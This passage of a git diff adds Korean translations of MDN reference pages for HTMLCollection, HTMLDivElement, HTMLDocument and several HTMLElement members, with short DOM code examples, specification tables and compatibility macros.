+ <li>이 인터페이스를 구현한 HTML 요소: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlcollection/index.html b/files/ko/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..d5087579b4
--- /dev/null
+++ b/files/ko/web/api/htmlcollection/index.html
@@ -0,0 +1,96 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+tags:
+ - API
+ - DOM
+ - HTML DOM
+ - HTMLCollection
+ - Interface
+ - Reference
+translation_of: Web/API/HTMLCollection
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLCollection</code></strong> 인터페이스는 요소의 문서 내 순서대로 정렬된 일반 컬렉션({{jsxref("Functions/arguments", "arguments")}}처럼 배열과 유사한 객체)을 나타내며 리스트에서 선택할 때 필요한 메서드와 속성을 제공합니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>HTMLCollection</code>의 이름은 현대적 DOM의 이전, 구성요소로 HTML 요소만 지닐 수 있었던 시절에 정해졌습니다.</div>
+
+<p>HTML DOM 내의 <code>HTMLCollection</code>은 문서가 바뀔 때 실시간으로 업데이트됩니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>컬렉션 항목의 갯수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>리스트에서 주어진 인덱스의 노드를 반환합니다. 인덱스가 범위 밖일 경우 {{jsxref("null")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>리스트에서 ID 또는 이름 속성이 주어진 문자열과 일치하는 노드를 반환합니다. 이름 속성 판별은 HTML에서만 최후의 수단으로 쓰이며 참조하는 요소가 <code>name</code> 속성을 지원해야 합니다. 일치하는 요소가 없으면 {{jsxref("null")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="JavaScript에서_사용하기">JavaScript에서 사용하기</h2>
+
+<p><code>HTMLCollection</code>은 구성요소를 이름과 인덱스로 동시에 직접 노출합니다. HTML ID는 <code>:</code>와 <code>.</code>을 유효한 문자로 포함할 수 있으므로 속성 접근 시에는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors#괄호_표기법">괄호 표기법</a>을 사용해야 합니다. <code>HTMLCollection</code>은 배열 스타일 구성요소 접근법과 충돌할 수 있는 순수 숫자 인덱스를 지원하지 않습니다.</p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms은 HTMLCollection임
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms["named.item.with.periods"];
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}</td>
+ <td>{{ Spec2('DOM WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}</td>
+ <td>{{ Spec2('DOM2 HTML') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}</td>
+ <td>{{ Spec2('DOM1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlcollection/item/index.html b/files/ko/web/api/htmlcollection/item/index.html
new file mode 100644
index 0000000000..728aafffbc
--- /dev/null
+++ b/files/ko/web/api/htmlcollection/item/index.html
@@ -0,0 +1,50 @@
+---
+title: HTMLCollection.item
+slug: Web/API/HTMLCollection/item
+translation_of: Web/API/HTMLCollection/item
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("HTMLCollection")}} 의 메소드 <code>item()</code> 은 컬렉션 안의 특정 인덱스에 위치한 노드를 반환합니다.</span></p>
+
+<div class="note">
+<p><strong>Note: </strong><code>HTMLCollection</code>은 실시간이기 때문에, DOM을 변경하면 컬렉션 내의 노드도 변경됩니다. 따라서, 한 노드의 인덱스 값이 항상 일정하지는 않습니다. </p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>element</em> = <em>HTMLCollection</em>.item(<em>index</em>)</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>반환받을 {{domxref("Node")}}의 위치. <code>HTMLCollection</code>에 들어있는 요소들은 도큐먼트에 나타나는 순서와 동일합니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 인덱스의 {{domxref("Node")}}. <code>index</code>가 0보다 작거나 length 속성보다 크다면 <code>null</code>을 반환합니다.</p>
+
+<h2 id="참고사항">참고사항</h2>
+
+<p><code>item()</code> 메소드는 <code>HTMLCollection</code>으로부터 순서가 매겨진 하나의 요소를 반환합니다. 자바스크립트에서, <code>HTMLCollection</code>을 배열처럼 다루는건 아주 쉽습니다. 아래의 {{anch("Example", "예시")}}를 보세요.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var c = document.images; // HTMLCollection입니다
+var img0 = c.item(0); // 이렇게 item() 메소드를 이용할 수 있지만
+var img1 = c[1]; // 이렇게 표기하는게 쉽고 더 보편적입니다
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLCollection.item")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NodeList.item()")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmldivelement/index.html b/files/ko/web/api/htmldivelement/index.html
new file mode 100644
index 0000000000..c694bf6d83
--- /dev/null
+++ b/files/ko/web/api/htmldivelement/index.html
@@ -0,0 +1,72 @@
+---
+title: HTMLDivElement
+slug: Web/API/HTMLDivElement
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - Reference
+translation_of: Web/API/HTMLDivElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLDivElement</code></strong> 인터페이스는 {{domxref("HTMLElement")}} 인터페이스를 확장해, {{htmlelement("div")}} 요소를 조작할 때 사용할 수 있는 추가 속성을 제공합니다.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}</dt>
+ <dd>주변 맥락에 대해 요소 콘텐츠의 정렬 위치를 나타내는 {{domxref("DOMString")}}입니다. 가능한 값은 <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, <code>"center"</code>입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>{{SpecName("HTML5 W3C")}}와 동일합니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>{{SpecName("DOM2 HTML")}}과 동일합니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>{{SpecName("DOM1")}}과 동일합니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLDivElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스를 구현하는 HTML 요소 {{ HTMLElement("div") }}.</li>
+</ul>
diff --git a/files/ko/web/api/htmldocument/index.html b/files/ko/web/api/htmldocument/index.html
new file mode 100644
index 0000000000..13e801ad04
--- /dev/null
+++ b/files/ko/web/api/htmldocument/index.html
@@ -0,0 +1,21 @@
+---
+title: HTMLDocument
+slug: Web/API/HTMLDocument
+tags:
+ - API
+ - HTML DOM
+ - 레퍼런스
+ - 인터페이스
+translation_of: Web/API/HTMLDocument
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><strong><code>HTMLDocument</code></strong>은 일반적인 (XML) 문서에서 기본적으로 존재하지 않는 특별한 프로퍼티와 메소드에 접근을 제공하는 DOM의 추상 인터페이스입니다. 특히 HTML 문서와 엘리먼트에 관련된 기능을 추가해줍니다.</p>
+
+<p>코어 {{domxref("document")}} 인터페이스에서 파생되었습니다. 메소드와 프로퍼티는 {{domxref("document")}} 페이지에 포함되어있고 <a href="/en-US/docs/DOM" title="en/DOM">DOM</a> 페이지의 해당 섹션에 구분되어 나열되어있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html">Document Object Model HTML</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/accesskeylabel/index.html b/files/ko/web/api/htmlelement/accesskeylabel/index.html
new file mode 100644
index 0000000000..110cf03966
--- /dev/null
+++ b/files/ko/web/api/htmlelement/accesskeylabel/index.html
@@ -0,0 +1,84 @@
+---
+title: accessKeyLabel
+slug: Web/API/HTMLElement/accessKeyLabel
+translation_of: Web/API/HTMLElement/accessKeyLabel
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement.accessKeyLabel</code></strong> 읽기 전용 속성은 엘리먼트의 할당된 접근키를 나타내는 {{jsxref("String")}} 를 반환합니다. 존재하지 않는 경우 빈 문자열을 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>label</em> = <em>element</em>.accessKeyLabel
+</pre>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var node = document.getElementById('btn1');
+if (node.accessKeyLabel) {
+ node.title += ' [' + node.accessKeyLabel + ']';
+} else {
+ node.title += ' [' + node.accessKey + ']';
+}
+
+node.onclick = function () {
+ var p = document.createElement('p');
+ p.textContent = 'Clicked!';
+ node.parentNode.appendChild(p);
+};
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button accesskey="h" title="Caption" id="btn1"&gt;Hover me&lt;/button&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>초기 정의로부터 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>제거됨. <a href="https://github.com/w3c/html/pull/144">pull w3c/html#144</a>, <a href="https://github.com/w3c/html/issues/99">issue w3c/html#99</a>, <a href="https://discourse.wicg.io/t/accesskeylabel-author-accessible-info-about-shortcuts/1392/3">WICG discussion</a>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>{{SpecName('HTML WHATWG')}}, 초기 정의의 스냅샷.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLElement.accessKeyLabel")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("element.accessKey")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/accesskey">accesskey</a> 전역 속성.</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/click/index.html b/files/ko/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..9c1c8956c0
--- /dev/null
+++ b/files/ko/web/api/htmlelement/click/index.html
@@ -0,0 +1,47 @@
+---
+title: HTMLElement.click()
+slug: Web/API/HTMLElement/click
+tags:
+ - API
+ - HTML DOM
+ - HTMLElement
+ - 레퍼런스
+ - 메소드
+translation_of: Web/API/HTMLElement/click
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><code><strong>HTMLElement.click()</strong></code> 메소는 엘리먼트에 마우스 클릭을 시뮬레이션합니다.</p>
+
+<p>지원하는 엘리먼트({{HTMLElement("input")}} 등)에서 <code>click()</code> 이 사용될 때, 엘리먼트의 클릭 이벤트가 실행됩니다. 그 다음, 다큐먼트 트리(또는 이벤트 체인)에서 더 상위의 엘리먼트로 버블링되며 상위 엘리먼트의 클릭 이벤트를 실행합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>element</em>.click()</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.click")}}</p>
diff --git a/files/ko/web/api/htmlelement/contenteditable/index.html b/files/ko/web/api/htmlelement/contenteditable/index.html
new file mode 100644
index 0000000000..8756d6afdf
--- /dev/null
+++ b/files/ko/web/api/htmlelement/contenteditable/index.html
@@ -0,0 +1,59 @@
+---
+title: HTMLElement.contentEditable
+slug: Web/API/HTMLElement/contentEditable
+tags:
+ - API
+ - HTML DOM
+ - HTML element
+ - Property
+ - Reference
+translation_of: Web/API/HTMLElement/contentEditable
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("HTMLElement")}} 요소의 <strong><code>contenteditable</code></strong> 속성은 요소의 편집 가능 여부를 나타냅니다.</span> 열거형 속성으로, 다음 중 하나의 값을 가질 수 있습니다.</p>
+
+<ul>
+ <li><code>'true'</code>는 요소가 <code>contenteditable</code>임을 의미합니다.</li>
+ <li><code>'false'</code>는 요소를 편집할 수 없음을 의미합니다.</li>
+ <li><code>'inherit'</code>은 요소가 부모의 편집 가능 여부를 상속함을 의미합니다.</li>
+</ul>
+
+<p>{{domxref("HTMLElement.isContentEditable")}} 속성으로 이 속성의 {{jsxref("Boolean")}} 계산값을 얻을 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLElement.contentEditable")}}</p>
+
+<p>Internet Explorer에서 <code>contenteditable</code>은 {{htmlelement("table")}}, {{htmlelement("col")}}, {{htmlelement("colgroup")}}, {{htmlelement("tbody")}}, {{htmlelement("td")}}, {{htmlelement("tfoot")}}, {{htmlelement("th")}}, {{htmlelement("thead")}}, {{htmlelement("tr")}} 요소에 바로 적용할 수 없습니다. 대신 편집 가능한 {{htmlelement("span")}} 또는 {{htmlelement("div")}} 요소를 표의 각 칸에 배치할 수 있습니다.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/HTML/Editable_content">콘텐츠를 편집 가능하게 만들기</a></li>
+ <li>{{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>{{htmlattrxref("contenteditable")}} 전역 속성</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/dataset/index.html b/files/ko/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..2b2a891dca
--- /dev/null
+++ b/files/ko/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,127 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+tags:
+ - API
+ - HTML DOM
+ - HTMLElement
+ - HTMLOrForeignElement
+ - Property
+ - Read-only
+ - Reference
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>HTMLElement.dataset</strong></code> 읽기 전용 속성은 요소의 <a href="/ko/docs/Web/HTML/Global_attributes/data-*">사용자 지정 데이터 특성</a>(<code>data-*</code>)에 대한 읽기와 쓰기 접근 방법을 HTML과 DOM 양측에 제공합니다.</span> 반환하는 값은 {{domxref("DOMStringMap")}}으로, 각 데이터 특성마다 하나의 항목을 가집니다. <code>dataset</code> 속성 자체는 읽기 전용이라는 점에 주의하세요. 모든 쓰기 작업은 <code>dataset</code> 안의, 데이터 특성을 나타내는 각각의 속성에 수행해야 합니다. 또한 HTML의 <code>data-이름</code>과, 이에 대응하는 DOM <code>dataset['이름']</code>의 <code>이름</code>은 서로 일치하지 않으나, 다음 규칙에 따라 유사함을 기억하세요.</p>
+
+<ul>
+ <li>HTML의 사용자 지정 특성 이름은 <code>data-</code>로 시작합니다. 또한 문자, 숫자, 대시(<code>-</code>), 점(<code>.</code>), 콜론(<code>:</code>), 언더스코어(<code>_</code>)만 사용할 수 있고, ASCII 대문자(<code>A</code>-<code>Z</code>)는 사용할 수 없습니다.</li>
+ <li>JavaScript의 사용자 지정 특성 이름은 HTML 이름을 카멜 표기법으로 변환한 형태로, 대시, 점 등을 모두 제거합니다.</li>
+</ul>
+
+<p>아래의 내용과 함께, <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a> 아티클에서는 HTML 데이터 속성을 어떻게 쓰는지 안내를 찾을 수 있습니다. </p>
+
+<h3 id="Name_conversion">Name conversion</h3>
+
+<p>dash-style 에서 camelCase로 변환: 커스텀 데이터 속성의 이름은 아래의 규칙에 따라 {{ domxref("DOMStringMap") }}의 key로 변환됩니다. </p>
+
+<ul>
+ <li>접두사 <code>data-</code> 는 삭제됩니다. (대시 포함);</li>
+ <li><code>a</code><span style="line-height: 1.5;"> 부터 </span><code>z</code> 까지 <span style="line-height: 1.5;">ASCII 소문자 앞에 오는</span> 모든 대시(<code>U+002D</code>)는 삭제되고 해당 소문자는 대문자로 변환됩니다.</li>
+ <li>다른 기호는(다른 대시들을 포함한) 바뀌지 않습니다.</li>
+</ul>
+
+<p>camelCase 에서 dash-style로 변환: key를 속성 이름으로 매핑하는 반대의 변환은 아래의 규칙을 따릅니다.:</p>
+
+<ul>
+ <li>제약 조건: 대시 바로 뒤에는 <code>a</code> 에서 <code>z</code> 까지 ASCII 소문자를 쓸 수 없습니다 (변환 전);</li>
+ <li>접두사 <code>data-</code> 가 추가됩니다;</li>
+ <li><code>A</code> 에서 <code>Z</code> 까지 모든 ASCII 대문자는 대시와 해당 소문자로 변환됩니다;</li>
+ <li>다른 문자는 변하지 않습니다.</li>
+</ul>
+
+<p>이러한 제약 조건은 반드시 두 변환이 서로의 역이 되도록 합니다.</p>
+
+<p>예를 들어, <code>data-abc-def</code> 라는 이름의 속성은 <code>abcDef</code> 라는 키에 대응합니다.</p>
+
+<h3 id="Accessing_values">Accessing values</h3>
+
+<ul>
+ <li>속성들은 <code>element.dataset.keyname</code><em>과 같이</em> dataset의 객체 속성처럼 camelCase 이름(키)을 사용해서 설정하거나 읽을 수 있습니다</li>
+ <li>속성들은 또한 <code>element.dataset[keyname]</code>과 같이 객체 속성의 괄호 신택스로 설정하거나 읽을 수 있습니다.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <li>
+ <p>HTML elements에서 사용자가 지정한 data attribute에 직접 설정할 수 있으나 attribute names는 위의 데이터 문법을 반드시 사용해야 합니다.</p>
+ </li>
+</ul>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: html">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;</pre>
+
+<pre class="brush: js">const el = document.querySelector('#user');
+
+// el.id === 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/index.html b/files/ko/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..b73e398f7a
--- /dev/null
+++ b/files/ko/web/api/htmlelement/index.html
@@ -0,0 +1,271 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - Reference
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement</code></strong> 인터페이스는 모든 종류의 <a href="/ko/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> 요소를 나타냅니다. 일부 요소는 이 인터페이스를 직접 구현하지만 나머지 요소는 <code>HTMLElement</code>를 상속한 자식 인터페이스를 구현합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>부모인 {{domxref("Element")}}의 속성을 상속합니다. {{domxref("GlobalEventHandlers")}}, {{domxref("TouchEventHandlers")}}의 속성을 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}}</dt>
+ <dd>요소에 할당된 접근 키를 나타내는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>요소에 할당된 접근 키를 포함하는 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>요소가 수정 가능하면 <code>"true"</code>, 그렇지 않으면 <code>"false"</code> 값을 갖는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>요소의 콘텐츠가 수정 가능한지 여부를 나타내는 {{domxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}} {{deprecated_inline}}</dt>
+ <dd>요소와 관련된 콘텍스트 메뉴를 나타내는 {{domxref("HTMLMenuElement")}}입니다. {{jsxref("null")}}일 수 있습니다.</dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt>
+ <dd>요소의 <a href="https://developer.mozilla.org/ko/docs/Learn/HTML/Howto/%EB%8D%B0%EC%9D%B4%ED%84%B0_%EC%86%8D%EC%84%B1_%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0">사용자 지정 데이터 속성</a>(<code>data-*</code>)을 스크립트에서 읽고 쓸 수 있는 {{domxref("DOMStringMap")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>요소의 방향성을 표현하는 전역 속성 <code>dir</code> 을 나타내는 {{domxref("DOMString")}} 을 반환합니다. 가능한 값은 <code>"ltr"</code>, <code>"rtl"</code>, <code>"auto"</code> 입니다.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>요소가 드래그 가능한지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd><code>dropzone</code> 전역 속성을 나타내고 drop 작업에 대한 동작을 설명하는 {{domxref("DOMSettableTokenList")}} 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>요소가 숨김상태인지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.inert")}}</dt>
+ <dd>유저 에이전트가 사용자 인터렉션 이벤트, 페이지 내 텍스트 검색("페이지에서 찾기"), 텍스트 선택의 목적으로 주어진 노드가 없는 것처럼 동작해야하는지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.innerText")}}</dt>
+ <dd>노드와 그 자손의 "렌더링된" 텍스트 컨텐츠를 나타냅니다. getter 로써, 이는 사용자가 커서로 요소의 컨텐츠를 하이라이팅한 후 클립보드로 복사하면 얻을 수 있는 텍스트와 유사합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>항목 스코프를 나타내는 {{jsxref("Boolean")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}}… 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>항목 ID 를 나타내는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}}… 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}}… 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>항목 값을 나타내는 {{jsxref("Object")}} 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>요소의 속성, 텍스트, 컨텐츠의 언어를 나타내는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.noModule")}}</dt>
